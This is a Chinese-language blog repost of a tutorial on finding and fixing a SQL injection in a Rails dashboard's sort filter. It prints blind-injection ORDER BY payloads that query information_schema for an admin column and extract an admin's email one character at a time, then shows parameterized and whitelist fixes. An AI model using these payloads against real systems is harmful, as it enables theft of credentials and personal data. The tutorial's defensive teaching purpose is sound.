您当前的位置: 首页 >  安全

寒冰屋

暂无认证

  • 1浏览

    0关注

    2286博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

安全漏洞——如何查找和修复它们

寒冰屋 发布时间:2021-10-20 22:04:55 ,浏览量:1

目录

介绍

开始

结论

  • 下载源代码 - 1.5 MB
介绍

在我的项目任务之一中,我致力于改进仪表板。仪表板——它只是具有不同类型实体(通过卡片显示)和侧栏中过滤器(按关键字搜索、顺序、按类型过滤)的用户的主页。

开始

这是Sort过滤器的HTML代码。


  Recent First
  Date Created ⬇
  Date Created ⬆
  A-Z
  Z-A

ordering和order的字段名称放在一个地方,中间有空格。

我的第一个想法是,“为什么value看起来与SQL请求部分非常相似?” 我决定更深入地研究它,发现我们肯定将它传递为:

scope = scope.filter_results(keyword: @keyword, _
        state_filter: @state_filter, order_filter: params[:order_filter])

其中filter_results只是一个调用state_filter和order_filter模型的关注方法(如果存在)。

所以,在模型中,我们只有这个:

scope :keyword, -> (keyword) { where("title like ?", "%#{keyword}%") }
scope :state_filter, -> (state) { where( state: state ) }
scope :order_filter, -> (order_filter) { reorder(order_filter)} # 0, 'YES', 'NO');

如果我们在users表中有is_admin列,它应该返回YES。

让我们使用列名进行查询以进行排序:

(SELECT IF ((SELECT count(*) FROM information_schema.columns WHERE COLUMN_NAME = 'admin' _
AND table_name = 'users' LIMIT 1)>0, title, created_at))

第一张牌是Fundico,第二张牌是Area。users表中没有is_admin列。让我们试试admin:

开始了!现在我们知道我们的users表中有admin列。

PS 带有注入代码的完整查询如下所示:

SELECT `table_1`.* FROM `table_1` WHERE `table_1`.`id` IN 
  (SELECT DISTINCT `table_2`.`deal_id` FROM `table_2` LEFT OUTER JOIN `team_members` 
    ON `team_members`.`cool_dude_id` = `table_2`.`id` 
    WHERE `table_2`.`state` != -1 AND (table_2.user_id=*** or team_members.user_id=***)) 
  ORDER BY (SELECT IF ((SELECT count(*) FROM information_schema.columns 
    WHERE COLUMN_NAME = 'admin' AND table_name = 'users' LIMIT 1)>0, title, created_at))

让我们通过类比找到其余的数据。首先,我们需要找到任何管理员用户的email来访问系统。

我们可以使用ASCII表一个符号一个符号的做:

我们只需要一一粘贴所有符号并寻找匹配项:

SELECT IF ((SELECT ASCII(SUBSTRING(email, 1, 1)) _
            FROM users where admin = true LIMIT 1)=105, title, created_at)

该查询返回true如果在符号的第一个ASCII码的第一个管理员的email等于105(即,电子邮件的第一个符号是i)。

然后我们使用第二个符号ASCII(SUBSTRING(email, 2, 1))并一一找到所有符号。

结论

我们可以使用这个漏洞找到任何信息,如所有用户的凭据、电话、地址等。始终小心,尽量不要在Rails中使用字符串进行搜索和过滤。

Rails对漏洞有足够的保护,但没有什么可以使您免于自己的错误。

使用包装器,如散列和数组。不要使用User.where(“name = ‘#{params[:name]'”)。

使用User.where([“name = ?”, “#{params[:name]}”]) 或User.where({ name: params[:name] })代替。

只需使用一行代码即可修复此漏洞,例如:

Ruby
ORDER_FILTERS = { title_asc: 'title asc', created_at_asc: 'created_at asc'}
scope = scope.filter_results(order_filter: ORDER_FILTERS[params[:order_filter]])

Security Vulnerabilities – How to Find and Fix Them - CodeProject

关注
打赏
1665926880
查看更多评论
立即登录/注册

微信扫码登录

0.0458s